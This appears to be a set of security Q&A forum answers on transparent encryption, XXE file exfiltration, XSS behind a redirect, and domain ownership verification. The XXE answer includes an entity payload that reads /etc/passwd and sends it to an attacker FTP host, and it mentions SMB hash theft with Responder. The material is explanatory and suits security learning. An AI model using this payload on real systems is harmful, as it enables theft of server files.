As you observed, this encryption might be transparent: if the key is linked to the user's identity, everything is decrypted on the fly and reencrypted on storage, and the users might not even be aware that their data is encrypted.


That's a really interesting question, and one that is often overlooked when discussing XXE, where the typical PoC is exfiltrating the /etc/passwd file. According to one source, "Very Large files such as /dev/random and /dev/zero either can’t be retrieved or lead to Denial of Service. This is DoS via XXE." So I think the short answer is since there isn't any logic or script that exists to break up the requests, it's not possible to send a large file over a HTTP GET request without issues. However, it seems like if you are willing to look at some other protocols, you can exfiltrate larger files using FTP.
Instead of making an HTTP request, you could always try making an FTP request with an example like the following:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2222/?data=%data;'>">

Then assuming that you have a listening FTP server then you can pull the data out that way. (More information about this method can be found here) The listed guide also explains how you can steal hashes using the SMB protocol too with responder. Of course, the big drawback here is working with other protocols is trying to get those other ports past the firewall, as HTTP and even DNS is typically allowed which make them ideal.


How to bypass response Location in order to obtain content XSS?

If XSS only occurs if the client submits the payload, this isn't really viable unless you can trick them into doing it.

The RFC says that clients may automatically redirect upon receiving an HTTP 302 with the Location header. While a body is required, it can be effectively ignored by the client per the spec.

Therefore, I don't think you can "bypass the Location header", at least when the browser instantly follows the Location header and doesn't render the page, which seems to be the prevalent behavior.

It might be possible, if the client has any influence on the headers returned by the server, to perform an HTTP response splitting attack, where the Location header could be modified or bypassed entirely. Again, this would likely require the victim to submit the crafted request themselves, making this an unlikely avenue.


The most common ways used to verify domain(i.e. company) ownership:

verifying via a company-owned email that you designate (e.g. webmaster/admin/support@x.y - this helps prevent an employee who is not authorized to claim ownership from doing so)
verifying via an html tag of some kind in the homepage (or even a whole html page at the webroot)
verifying via a DNS TXT record for that domain

Ultimately, it will be up to you to ensure that the correct domain is matched to the company. I would recommend that you correlate their live website to the company profile when you create it, so you don't run the risk of someone trying to typo-squat them and then falsely claim the company with that.

For reference, here are a few different examples:

Google: https://support.google.com/a/answer/6248925?hl=en
HaveIBeenPwned: https://haveibeenpwned.com/DomainSearch
ZeroSSL: https://zerossl.com/free-ssl/#howtocrt (check under 'Verification')

Lastly, if they do not have a website, I'd recommend taking a look at Yelp's process for verification:
https://biz.yelp.com/support/claiming

I haven't used them specifically, but I believe they allow for 'offline' claiming of a business(and support a process to dispute or "reclaim" businesses in case they're falsely claimed or ownership changes, etc).